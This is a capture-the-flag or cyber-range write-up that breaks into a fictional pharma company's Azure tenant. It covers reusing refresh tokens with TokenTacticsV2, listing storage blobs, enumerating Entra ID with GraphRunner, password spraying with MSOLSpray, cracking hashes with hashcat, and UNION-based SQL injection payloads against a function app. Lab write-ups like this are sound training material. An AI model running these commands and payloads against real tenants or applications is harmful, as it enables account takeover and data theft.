An absent defense

Solve

Looking at the remaining files from the S3 dump, theres nothing that will allow us to escalate our privileges or lateral movement.

PII, while important in real life, its a CTF/Cyber Range so its not as interesting to us

The openemr-5.0.2.tar.gz seems to be the exact same copy from the trial-data-management-poc bit bucket URL.

Recall that how in Flag 2, we noticed that the web-prod EC2 instance contains some azure credentials, lets try and dump it all.

.azure directory listing
azureProfile.json
msal_token_cache.json

Reading the msal_token_cache.json file, there is a bunch of bearer access token, however some of those had already expired, and some are expiring soon.

So this is not a good way to access the nacer azure account as it might expire any time.

Scrolling further down, we found a credential type called refresh token. By having a refresh token, we are able to obtain new access and refresh token pairs whenever the current one expires. The dedfault lifetime of refresh token is 90days, which allow us to maintain persistency on nacer Azure account, even if we lose access to the EC2.

RefreshToken

Using the tool TokenTacticsV2, we are able to get a access token using the refresh token

Invoke-RefreshToAzureManagementToken -Domain massive-pharma.com -refreshToken $rt

Using the AzureManagementToken, we are able to authenticate using Azure Powershell.

Connect-AzAccount -AccountId [email protected] -AccessToken $AzureManagementToken.access_token
Get-AzResource

As nacer have access over storage, we are able to list out the storage account. Lets get a storage account token and enumerate the storage account.

Invoke-RefreshToAzureStorageToken -Domain massive-pharma.com -refreshToken $rt

Refering to Azure Storage REST API, we will be

  1. Listing Container

$storageAccountName = "mpprod"
$headers = @{
    'Authorization' = "Bearer $($AzureStorageToken.access_token)"
    'x-ms-version' = '2020-04-08'
}
$url = "https://$storageAccountName.blob.core.windows.net/?comp=list"
Invoke-RestMethod -Uri $url -Headers $headers -Method Get
Listing Storage Contaier
  1. Listing blobs in container

$containerName = "portal-storage"
$url = "https://$storageAccountName.blob.core.windows.net/$containerName`?restype=container&comp=list"
Invoke-RestMethod -Uri $url -Headers $headers -Method Get
Listing blobs within the storage container
  1. Downloading the blobs from the container

$blobName = "export-users.sh"
$url = "https://$storageAccountName.blob.core.windows.net/$containerName/$blobName"
Invoke-WebRequest -Uri $url -Headers $headers -OutFile $blobName
Downloading blobs

This seems to be a rabbit hole, since the export-users.sh does not contain much useful information.

However one thing to take note is that the RESOURCE_GROUP in the export_users.sh is different from the storage container resoure group. This could be useful in the future as we might be able to identify other storage container in different resource group.

Now that we have finish enumerating Azure Resources, lets pivot into enumerating Entra ID (Azure Active Directory). Ill be using one of my favourite tool GraphRunner to enumerate via the graph api.

Invoke-RefreshToMSGraphToken -Domain massive-pharma.com -refreshToken $rt

Its very straight forward to use GraphRunnerGUI, where we can just plug the graph api acess token and use it to run certain commands.

parsing the access token to see our scope
Able to list user, add the user list to our loot
Listing Groups
Dumped email containing potential password

Using GraphRunner, we managed to retreived a list of user and 1 new potential password.

As we dont have much to work off, lets try and spray the potential password against our user list. I will be using MSOLSpray.

Succesfully authenticate with [email protected]

Next, lets try and enumerate to check if MFA is being used using MFASweep.

Invoke-MFASweep -Username [email protected] -Password [REDACTED_PASSWORD]

From the MFASweep output, it seems like there isnt any Conditional Access Policies or MFA in place to restrict the user yuki.

Using the Azure Portal, we are able to sucesfully authenticate and access the Azure Portal interface.

Azure Portal Interface

Again looking at the recent resources, two of them stand out immidiately

  • mpprod storage account (we access it previously)

  • pharsignt-dev function app

Going to the All Resource Page, we also only have access to this two resource.

All Resource Tab

Looking at the storage browser, it only show the export-user.sh.

Showing only active blob

However, by default it will only show active blobs. We are able to view recently deleted blobs by swapping the options.

Showing active and deleted blobs

We are able to then download the user_export_20240202.csv file using the Storage Browser.

Downloading the files from version history

Looking at the downloaded file, it seems to contain email address as well as hashed password. Lets copy out the hashed password into a text file and try cracking it.

uesrs_export_20240202.csv content
piping the hash into a new file to perform hash cracking

Using hash-identifier, the hash seems to be a possible sha-256 hash.

hashcat -m 1400 -a 0 hashed_password.txt /usr/share/wordlists/rockyou.txt

We have a new password and username to be added to our loot.

[email protected]:[REDACTED_PASSWORD]

Pivoting back into the function app we can see the function app domain as well as the http trigger

pharsight-dev function app

Trying to use Azure Portal to perform more enumeration on the function app fails due to lack of permission. From the function name HttpPharSightTrigger01and the Trigger being HTTP, we can try enumerate the default domain to see if theres any error message.

Referring to Azure Functions docmentation, we are able to craft the route to trigger the function.

Sending a GET request to https://pharsight-dev.azurewebsites.net/api/HttpPharSightTrigger01 shows a instruction as well as sample data that we can use.

Default Message

Sending a POST request with the data, we are returned with output and data.

curl -X POST https://pharsight-dev.azurewebsites.net/api/HttpPharSightTrigger01 \
-d '{"trialname": "CardioPhase II"}'

The output seems to be from a database that show the number of columns. This might be suseptible to SQL Injection. I will proxy the request over the burpsuite so that I do not need to deal with escaping shell properly.

curl -k -x http://127.0.0.1:8080 -X POST \
https://pharsight-dev.azurewebsites.net/api/HttpPharSightTrigger01 \
-d '{"trialname": "CardioPhase II"}'

Looking at Brupsuite, we are able to see the request in the HTTP request tab.

Burpsuite history

Next, I will forward the request to repeater by pressing Ctrl + R. I also changed the trialname to a single quote.

SQL injection proof of concept

From the error we received, we are certain that this application is vulnerable to SQL Injection.

Now lets try and craft the original SQL Query based on our output, and then try and perform SQL Injection.

Based on the previous output, we have 6 columns along with their data type

id full_name participant_id date trialname health_conditions

The output ItemArray also matches the number of column.

So a valid assumption of how the SQL might work is

SELECT id, full_name, participant_id, date, trialname, health_conditions 
FROM table_name WHERE trialname = <userinput>

From the data type, we can also safely assume that its a Windows SQL server. But for sanity check, lets attempt to retrieve the banner

'UNION SELECT 1, @@version, null, null, 5,6 --  
Retrieving Server Banner

Getting Table Name

'UNION SELECT 1, table_name, null, null, 5,6 from information_schema.columns --  

Output Data: appusers, database_firewall_rules, Participants

Get Table

Getting Table Column

'UNION SELECT 1, column_name, null, null, 5,6 from information_schema.columns where table_name = \'appusers\' --  

Output Data: id, password, username

Get columns

Getting username and password

'UNION SELECT null, id, null, null, username,password from appusers  --  

Other than the flag, we also get a set of credential for nina.

Now lets add nina password to our loot.

TLDR

  • Use Refresh Token to get access token

  • Enumerate Azure Resources (storage account)

  • Use TokenTacticsV2 to request an MSGraphToken

  • Plug the access token to raph runner to enumerate AzureAD and Outlook

  • Plaintext credential spotted in Outlook

  • Spray with MSOLSpray using new credentials and check for MFA with MFASweep

  • Access yuki account with new credential

  • Download database dump from Storage Account versioning and crack the hashes

  • Identify that theres a Function App running and enumerate the function app

  • Perform SQL Injection to get flag and nina credential

Reference

Last updated

Was this helpful?